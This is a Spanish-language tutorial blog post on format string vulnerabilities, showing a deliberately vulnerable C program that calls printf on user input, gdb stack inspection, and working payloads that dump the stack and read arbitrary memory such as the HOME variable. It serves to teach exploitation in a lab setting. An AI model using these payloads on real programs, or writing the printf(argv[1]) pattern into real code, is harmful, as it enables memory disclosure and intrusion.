Exploitation: Format Strings I
Este tipo de vulnerabilidad se debe al funcionamiento interno de las funciones de la familia printf, que junto a un uso inadecuado de las mismas puede dar lugar a la lectura y escritura de posiciones arbitrarias de memoria. Por desgracia para el atacante (o por suerte para el programador) este tipo de fallo es muy fácil de identificar en una aplicación. Cualquier persona que lea el código de un programa o cualquier herramienta de análisis de código encontrará y solucionará estos problemas, por lo que es difícil que los encontremos en la vida real. Recordad lo que comentábamos hacia el final de la entrada de Conocimientos previos II sobre el funcionamiento de printf. Si os acordáis, la función printf recorre la cadena de texto y la va mostrando por pantalla, hasta que encuentra un caracter de formato, en ese momento, accede a la pila (con el desplazamiento adecuado) para localizar ese argumento y sustituirlo en la posición del especificador de formato. Veamos un ejemplo:
adrian@Andromeda-virt:~/exploiting$ gdb a.out -q
Leyendo símbolos desde /home/adrian/exploiting/a.out...hecho.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x080483e4 <main+0>: push ebp
0x080483e5 <main+1>: mov ebp,esp
0x080483e7 <main+3>: and esp,0xfffffff0
0x080483ea <main+6>: sub esp,0x10
0x080483ed <main+9>: mov eax,0x80484d0
0x080483f2 <main+14>: mov DWORD PTR [esp+0x4],0xd
0x080483fa <main+22>: mov DWORD PTR [esp],eax
0x080483fd <main+25>: call 0x804831c <printf@plt>
0x08048402 <main+30>: mov eax,0x0
0x08048407 <main+35>: leave
0x08048408 <main+36>: ret
End of assembler dump.
(gdb) list
1 #include <stdio.h>
2
3 int main(int argc, char* argv[]){
4 printf("Esto es un trece %d\n",13);
5 return 0;
6 }
(gdb) br 4
Punto de interrupción 1 at 0x80483ed: file printf.c, line 4.
(gdb) run
Starting program: /home/adrian/exploiting/a.out
Breakpoint 1, main (argc=1, argv=0xbffff534) at printf.c:4
4 printf("Esto es un trece %d\n",13);
(gdb) si
0x080483f2 4 printf("Esto es un trece %d\n",13);
(gdb) si
0x080483fa 4 printf("Esto es un trece %d\n",13);
(gdb) si
0x080483fd 4 printf("Esto es un trece %d\n",13)
(gdb) x/16wx $sp
0xbffff46c: 0x08048402 0x080484d0 0x0000000d 0x0804842b
0xbffff47c: 0x00e63ff4 0x08048420 0x00000000 0xbffff508
0xbffff48c: 0x00d39b56 0x00000001 0xbffff534 0xbffff53c
0xbffff49c: 0xb7fff858 0xbffff4f0 0xffffffff 0x00778ff4
(gdb) x/s 0x080484d0
0x80484d0: "Esto es un trece %d\n"
(gdb) p 0x0000000d
$1 = 13
(gdb) c
Continuando.
Esto es un trece 13
Program exited normally.
En el desensamblado podemos ver como al preparar la llamada a printf (main+0 a main+22) se coloca en la pila la dirección de la cadena “Esto es un trece\n” (0x080484d0) y el valor 13 (0xd) puesto que son argumentos de la función a llamar. Justo al entrar en la función printf, examinando la pila vemos la dirección de retorno, seguida de la dirección de la cadena y el valor 13. Sabiendo cómo funciona printf, podemos aventurar que busca el valor para colocar en lugar del especificador de formato (el valor para sustituir el %d) en la posición siguiente de la pila. Si hubiera un segundo valor que colocar, lo buscaría en la siguiente posición, y así sucesivamente. Es decir, que según interpreta printf, la pila tiene la siguiente pinta:
El problema viene cuando se utiliza printf de modo inadecuado sobre una variable controlada por el usuario. Estoy seguro que todos conocéis la utilidad echo de linux. Imaginad una primera aproximación a la misma, sin que reciba argumentos adicionales. Simplemente recibe una cadena y la muestra por pantalla seguida de un salto de línea. Algo así:
#include <string.h>
#include <stdio.h>
int main(int argc, char* argv[]){
printf(argv[1]);
printf("\n");
return 0;
}
No parece nada raro. Bueno sí, un poco cutre, pero nos sirve para el ejemplo. En principio esta aplicación funciona como cabría esperar, le das una cadena y la muestra por pantalla.
adrian@Andromeda-virt:~/exploiting$ ./fstrings hola hola adrian@Andromeda-virt:~/exploiting$ ./fstrings holaaaaaaa! holaaaaaaa! adrian@Andromeda-virt:~/exploiting$ ./fstrings adrian@Andromeda-virt:~/exploiting$ ./fstrings $(perl -e 'print "A"x200') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA
Recordando lo que comentamos un poco más arriba, si printf encontrase un especificador de formato (%x por ejemplo) en la cadena que trata de imprimir, asumirá que el argumento que debe colocar en esa posición está en la posición de memoria siguiente a la de la cadena en sí, ¿no? Vamos a probar.
adrian@Andromeda-virt:~/exploiting$ gdb -q fstrings Leyendo símbolos desde /home/adrian/exploiting/fstrings...hecho. (gdb) set disassembly-flavor intel (gdb) disass main Dump of assembler code for function main: 0x08048414 <main+0>: push ebp 0x08048415 <main+1>: mov ebp,esp 0x08048417 <main+3>: and esp,0xfffffff0 0x0804841a <main+6>: sub esp,0x10 0x0804841d <main+9>: mov eax,DWORD PTR [ebp+0xc] 0x08048420 <main+12>: add eax,0x4 0x08048423 <main+15>: mov eax,DWORD PTR [eax] 0x08048425 <main+17>: mov DWORD PTR [esp],eax 0x08048428 <main+20>: call 0x8048350 <printf@plt> 0x0804842d <main+25>: mov DWORD PTR [esp],0xa 0x08048434 <main+32>: call 0x8048330 <putchar@plt> 0x08048439 <main+37>: mov eax,0x0 0x0804843e <main+42>: leave 0x0804843f <main+43>: ret End of assembler dump. (gdb) br *0x08048428 Punto de interrupción 1 at 0x8048428: file fstrings.c, line 5. (gdb) run hola.%x Starting program: /home/adrian/exploiting/fstrings hola.%x Breakpoint 1, 0x08048428 in main (argc=2, argv=0xbffff534) at fstrings.c:5 5 printf(argv[1]); (gdb) si 0x08048350 in printf@plt () (gdb) x/16wx $sp 0xbffff46c: 0x0804842d 0xbffff6b3 0x00732d20 0x0804845b 0xbffff47c: 0x00584ff4 0x08048450 0x00000000 0xbffff508 0xbffff48c: 0x0045ab56 0x00000002 0xbffff534 0xbffff540 0xbffff49c: 0xb7fff858 0xbffff4f0 0xffffffff 0x00740ff4 (gdb) x/s 0xbffff6b3 0xbffff6b3: "hola.%x" (gdb) c Continuando. hola.732d20 Program exited normally.
¿Qué está pasando aquí? Que tal y como hemos ejecutado el programa, la llamada printf(argv[1]) se ha transformado en printf(“hola.%x”). Cuando la función recorre la cadena, se topa con el especificador de formato (%x) y busca el valor a reemplazar en la posición de memoria que sigue a la cadena (0x00732d20). En esa posición debería estar el segundo argumento de la función, si se hubiera invocado correctamente. O sea que parece que podemos leer posiciones de memoria que se encuentran tras nuestra cadena en la pila. Alguien estará pensando “¡Oye! tú dijiste leer posiciones arbitrarias!”, y tendrá razón. Si hacemos un poco memoria, recordaremos que los argumentos de las funciones están en la pila, y que de hecho main es una función, por lo que sus argumentos (argv[1]) se encontrarán en la pila, ¿no? Esto quiere decir que la cadena que le pasemos a main se encontrará en la pila. Vamos a ver dónde.
adrian@Andromeda-virt:~/exploiting$ gdb -q fstrings
Leyendo símbolos desde /home/adrian/exploiting/fstrings...hecho.
(gdb) list
1 #include <string.h>
2 #include <stdio.h>
3
4 int main(int argc, char* argv[]){
5 printf(argv[1]);
6 printf("\n");
7 return 0;
8 }
(gdb) br 5
Punto de interrupción 1 at 0x804841d: file fstrings.c, line 5.
(gdb) run $(perl -e 'print "%08x."x180')
Starting program: /home/adrian/exploiting/fstrings $(perl -e 'print "%08x."x180')
Breakpoint 1, main (argc=2, argv=0xbffff1b4) at fstrings.c:5
5 printf(argv[1]);
(gdb) p $sp
$1 = (void *) 0xbffff0f0
(gdb) p argv[1]
$2 0xbffff335
"%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x."...
(gdb)
Esto debería darnos alguna idea. Desde dentro de la función printf, si examinamos suficientes valores de la pila toparemos con la propia cadena. Recordad que en los ejemplos anteriores lo que se pasaba a printf era un “puntero” (la dirección de memoria 0xbffff335) como primer argumento (la cadena). ¿Qué podemos hacer con esto? Pues, si utilizamos un especificador de formato que use una indirección (%s o %n, recordad la tabla) podremos leer cualquier posición de memoria. Vamos a hacer una prueba, que es más fácil verlo que contarlo:
adrian@Andromeda-virt:~/exploiting$ ./fstrings $(perl -e 'print "AAAA" . ".%08x"x142') | grep 4141 AAAA.00875d20.0804845b.00250ff4.08048450.00000000.bffff288.00126b56.00000002.bffff2b4 .bffff2c0.b7fff858.bffff270.ffffffff.00883ff4.08048270.00000001.bffff270.00875326.00884828 .b7fffb40.00250ff4.00000000.00000000.bffff288.993feefe.420df981.00000000.00000000.00000000 .00000002.08048360.00000000.0087afc0.00126a7b.00883ff4.00000002.08048360.00000000.08048381 .08048414.00000002.bffff2b4.08048450.08048440.00875d20.bffff2ac.00884670.00000002.bffff411 .bffff41c.00000000.bffff6e7.bffff709.bffff71c.bffff727.bffff737.bffff788.bffff7c3.bffff7d5 .bffff7f5.bffff801.bffffca2.bffffcd2.bffffcff.bffffd61.bffffd71.bffffd87.bffffdd4.bffffdf0 .bffffe07.bffffe18.bffffe2d.bffffe3e.bffffe50.bffffe58.bffffe6a.bffffe96.bffffea5.bfffff07 .bfffff44.bfffff64.bfffff71.bfffff93.bfffffac.bfffffe4.00000000.00000020.009f8420.00000021 .009f8000.00000010.078bf3ff.00000006.00001000.00000011.00000064.00000003.08048034.00000004 .00000020.00000005.00000008.00000007.00868000.00000008.00000000.00000009.08048360.0000000b .000003e8.0000000c.000003e8.0000000d.000003e8.0000000e.000003e8.00000017.00000000.00000019 .bffff3fb.0000001f.bffffff1.0000000f.bffff40b.00000000.00000000.00000000.00000000.00000000 .e9000000.e7f63d69.40c0b36d.ce3292eb.69db3249.00363836.662f2e00.69727473.0073676e.41414141 .3830252e.30252e78.252e7838 adrian@Andromeda-virt:~/exploiting$ ./getenvaddr HOME ./fstrings HOME will be at 0xbffffe5d adrian@Andromeda-virt:~/exploiting$ ./fstrings $(perl -e 'print "\x5d\xfe\xff\xbf" . ".%08x"x140 . ".%s.%08x.%08x.%08x"') ]���.00f60d20.0804845b.00269ff4.08048450.00000000.bffff278.0013fb56.00000002.bffff2a4 .bffff2b0.b7fff858.bffff260.ffffffff.00f6eff4.08048270.00000001.bffff260.00f60326.00f6f828 .b7fffb40.00269ff4.00000000.00000000.bffff278.f98c7cd3.219e4bac.00000000.00000000.00000000 .00000002.08048360.00000000.00f65fc0.0013fa7b.00f6eff4.00000002.08048360.00000000.08048381 .08048414.00000002.bffff2a4.08048450.08048440.00f60d20.bffff29c.00f6f670.00000002.bffff409 .bffff414.00000000.bffff6e7.bffff709.bffff71c.bffff727.bffff737.bffff788.bffff7c3.bffff7d5 .bffff7f5.bffff801.bffffca2.bffffcd2.bffffcff.bffffd61.bffffd71.bffffd87.bffffdd4.bffffdf0 .bffffe07.bffffe18.bffffe2d.bffffe3e.bffffe50.bffffe58.bffffe6a.bffffe96.bffffea5.bfffff07 .bfffff44.bfffff64.bfffff71.bfffff93.bfffffac.bfffffe4.00000000.00000020.00d25420.00000021 .00d25000.00000010.078bf3ff.00000006.00001000.00000011.00000064.00000003.08048034.00000004 .00000020.00000005.00000008.00000007.00f53000.00000008.00000000.00000009.08048360.0000000b .000003e8.0000000c.000003e8.0000000d.000003e8.0000000e.000003e8.00000017.00000000.00000019 .bffff3eb.0000001f.bffffff1.0000000f.bffff3fb.00000000.00000000.00000000.00000000.00000000 .cc000000.3efb00fa.7fd60334.c9d9f0f8.696420e7.00363836.00000000.00000000.662f2e00.69727473 .0073676e./home/adrian.3830252e.30252e78.252e7838
Al principio hemos utilizado "AAAA" para localizar el comienzo en la pila de la cadena que le introducimos al programa (el grep era para que lo coloreara, pero parece que wordpress no lo hace como la shell). Ahora viene un proceso manual de ajuste, sabemos que la primera palabra de nuestra cadena se coloca alrededor de 142 posiciones por debajo del puntero de pila. Si en la posición 142 de nuestra cadena colocamos un %s (string) tratará de leer el valor almacenado en "AAAA". Si hacemos esto probablemente obtendremos una violación de segmento, por acceder a una posición inválida. Sin embargo, si localizamos la dirección de memoria de la variable HOME (cuyo valor es "/home/adrian") y la sustituimos por "AAAA", la cadena que imprimirá será el valor de $HOME, que es "/home/adrian" como se muestra en la última ejecución.
De este modo hemos conseguido leer posiciones arbitrarias de memoria y podemos obtener información muy valiosa del programa en ejecución. En la próxima entrada profundizaremos un poco más y explicaremos cómo podemos escribir posiciones arbitrarias de memoria, aunque seguro que alguno ya se lo huele.
